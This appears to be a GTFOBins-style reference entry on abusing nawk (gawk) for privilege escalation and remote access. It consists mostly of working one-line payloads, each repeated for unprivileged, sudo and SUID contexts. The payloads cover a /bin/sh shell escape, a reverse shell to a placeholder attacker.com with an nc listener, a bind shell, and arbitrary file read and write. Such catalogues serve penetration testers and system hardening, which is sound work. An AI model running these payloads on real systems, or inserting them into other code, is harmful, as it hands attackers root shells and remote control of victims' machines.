nawk

This is an alias of gawk.

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
gawk 'BEGIN {system("/bin/sh")}'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gawk 'BEGIN {system("/bin/sh")}'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
gawk 'BEGIN {system("/bin/sh")}'
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged
This function can be performed by any unprivileged user.
```
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
ListenerA TCP server can be used on the attacker box to receive the shell.
```
nc -l -p 12345
```

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

Unprivileged
This function can be performed by any unprivileged user.
```
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
```
ConnectorA TCP client can be used on the attacker box to connect to the shell.
```
nc victim.com 12345
```

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
gawk '//' /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
gawk '//' /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
gawk '//' /path/to/input-file
```